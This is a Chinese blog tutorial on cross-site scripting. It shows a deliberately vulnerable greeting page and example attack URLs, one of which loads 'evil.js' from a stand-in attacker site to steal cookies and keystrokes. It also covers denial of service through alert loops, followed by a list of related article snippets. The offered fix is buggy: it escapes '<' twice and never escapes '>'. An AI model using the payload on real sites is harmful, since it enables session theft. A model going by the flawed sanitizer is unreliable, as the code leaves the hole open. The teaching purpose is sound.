XSS:跨站脚本攻击

XSS:跨站脚本,是攻击者向目标web站点注入html标签或者脚本,如果web页面动态的产生文档内容,并且这些内容是基于用户提交的数据,而并没有通过从中移除任何嵌入的html标签来消毒的话,那这个web页面很容易遭到跨站脚本攻击。

例如,如下的web页面,它使用js通过用户的名字来向用户问好:

<html>
<head><title>test</title></head>
<body>
<script type="text/javascript">
    var name=decodeURIComponent(window.location.search.substring(1))||‘‘;
    document.write(‘hello:\t‘+name);
</script>
</body>
</html>

运行结果:

但是,当用下面的URL来调用,会。。

http://localhost/iframe.html?%3Cscript%3Ealert(%27hah%27)%3C/script%3E

chrome下:

Firefox下:

只用这个URL,脚本会动态的生成另一个脚本,这还是比较好的额,但如果,,,呵呵。。

http://localhost/iframe.html?name=%3Cscript%3E%20src=siteB/evil.js%3E%3C/script%3E

它就会注入一个来自站点B的脚本,脚本eval.js驻留在站点B中,但现在,它嵌入到我的localhost站点 中,就可以对我的站点A的内容进行任何的操作!!如启动拒绝服务,读取我的站点存储的cookies数据(可能是统计数据或者其他的个人验证信息),然后版数据发送到站点B,甚至他还可以诱骗用户击键并将数据发送到站点B。

恐怖如斯,夫复何言!!

解决办法:

防止xss攻击的方式是,在使用任何不可信的数据 来动态的创建文档之前,从中移除html标签,比如:

Name=name.replace(/</g,’&lt’).replace(/</g,’&gt’;);

来移除<script>标签两边的尖括号,从而修复前面的漏洞。

Html5的内容安全策略则更进一步,他为<iframe>元素定义了一个sandbox属性,在实现之后,它允许显示不可信的内容,并自动禁用脚本。

参考资料:

http://www.cert.org/advisories/CA-2000-02.html

另附:

拒绝服务攻击:狠暴力!!

虽然同源策略和其他的安全限制可以很好的预防恶意代码毁坏数据或者防止侵犯隐私这种问题,然而,他们并不能 防止,拒绝服务攻击。

比如,我们访问了一个恶意web站点,这个站点可以使用一个alert()对话框的无限循环占用浏览器,或者使用一个无限循环或者没有意义的计算来占用CPU。

某些浏览器可以检测运行时间很长的脚本,并让用户选择终止他们,但恶意脚本可以使用window.setInterval()这样的方法来占用CPU,并通过分配很多的内存来攻击你的系统。

时间: 2024-12-18 21:24:24

XSS:跨站脚本攻击的相关文章

XSS跨站脚本攻击

[XSS跨站脚本攻击] 1.在Get请求的值中插入代码. $name = $_GET['name']; echo "Welcome $name<br>"; 2.输入框中输入代码. 参考: 1.http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

PHP漏洞全解(四)-xss跨站脚本攻击

本文主要介绍针对PHP网站的xss跨站脚本攻击.跨站脚本攻击是通过在网页中加入恶意代码,当访问者浏览网页时恶意代码会被执行或者通过给管理员发信息 的方式诱使管理员浏览,从而获得管理员权限,控制整个网站.攻击者利用跨站请求伪造能够轻松地强迫用户的浏览器发出非故意的HTTP请求,如诈骗性的电汇 请求.修改口令和下载非法的内容等请求. XSS(Cross Site Scripting),意为跨网站脚本攻击,为了和样式表css(Cascading Style Sheet)区别,缩写为XSS 跨站脚本主要

初窥XSS跨站脚本攻击

XSS跨站脚本攻击的分类 一. 反射型XSS跨站脚本攻击 二. 存储型XSS跨站脚本攻击 三. 基于DOM的XSS跨站脚本攻击 1.反射性XSS

JAVA覆写Request过滤XSS跨站脚本攻击

注:本文非本人原著. demo的地址:链接:http://pan.baidu.com/s/1miEmHMo 密码:k5ca 如何过滤Xss跨站脚本攻击,我想,Xss跨站脚本攻击令人为之头疼.为什么呢. 尤其是有富文本编辑器的产品.xss可能出现在http的head,不说别的,新浪多次出现. xss可以出现在post数据的正文.图片的url. 于是各种Xss横行,如今Xss跨站脚本漏洞的流行程度甚至超过了当年的sql. 那么对于JAVA语言,如何防御呢. 笔者分享一个思路:所有的web项目,所有的

python全栈系列之---xss跨站脚本攻击和csrf(xsrf)攻击

xss跨站脚本攻击:恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的. 例如:某些论坛允许用户自由发言,而不对用户的输入数据进行检测,直接显示在页面中. 若是用户输入了某些css样式代码,html表格代码,显示在页面后会改变页面的布局. 若是输入某些js代码,用于获取其他用户的文件,或者修改本地文件,也可以发送用户cookie等信息到自己的计算机中模拟用户登录 一般可以通过函数处理htmlspecial

Fortify漏洞之Cross-Site Scripting(XSS 跨站脚本攻击)

书接上文,继续对Fortify漏洞进行总结,本篇主要针对XSS跨站脚步攻击漏洞进行总结如下: 1.Cross-Site Scripting(XSS 跨站脚本攻击) 1.1.产生原因: 1. 数据通过一个不可信赖的数据源进入 Web 应用程序.对于 Reflected XSS(反射型),不可信赖的源通常为 Web 请求,只影响攻击到当前操作用户:而对于 Persisted(也称为 Stored 持久型)XSS,该源通常为数据库或其他后端数据存储,可能影响多操作用户. 2. 未检验包含在动态内容中的

XSS跨站脚本攻击实验

XSS攻击的原理.方法.常用技巧, 相关防范措施 跨站脚本攻击(Cross Site Scripting,XSS) 漏洞在Web应用中很常见.攻击者可以通过XSS注入恶意代码(一般指为js程序)至受害者的浏览器,进而窃取受害者认证信息. XSS注入有很多实现方式,可将XSS攻击大致分为存储型XSS.反射型XSS和DOM型XSS. 1)存储型XSS 存储型XSS攻击流程如下: (1) 黑客在目标服务器(正常服务器)上构造XSS恶意脚本,并将其保存在数据库中: (2) 用户登录目标服务器,查看了存在

XSS 跨站脚本攻击(Cross Site Scripting)

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制. xss攻击可以分成两种类型: 非持久型攻击 持久型攻击 下面我们通过具体例子,了解两种类型xss攻击. 1.非持久型xss攻击 顾名思义,非持久型xss攻击是一次性的,仅对当次的页面访问产生影响.非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时

xss跨站脚本攻击剖析与防御-读书笔记

<?php /* 1.什么是xss?           xss中文名字<跨站脚本>主要是因为web程序对输入输出过滤不足导致的.           攻击者利用xss漏洞把恶意脚本代码(HTML+Javascript)注入到网页中,           当用户浏览这些网页时,就会执行恶意代码,对受害者进行攻击,例如           盗取Cookie,会话劫持,钓鱼欺骗等各种攻击. 2.xss的危害        Cookie盗取                只要有记住密码功能,盗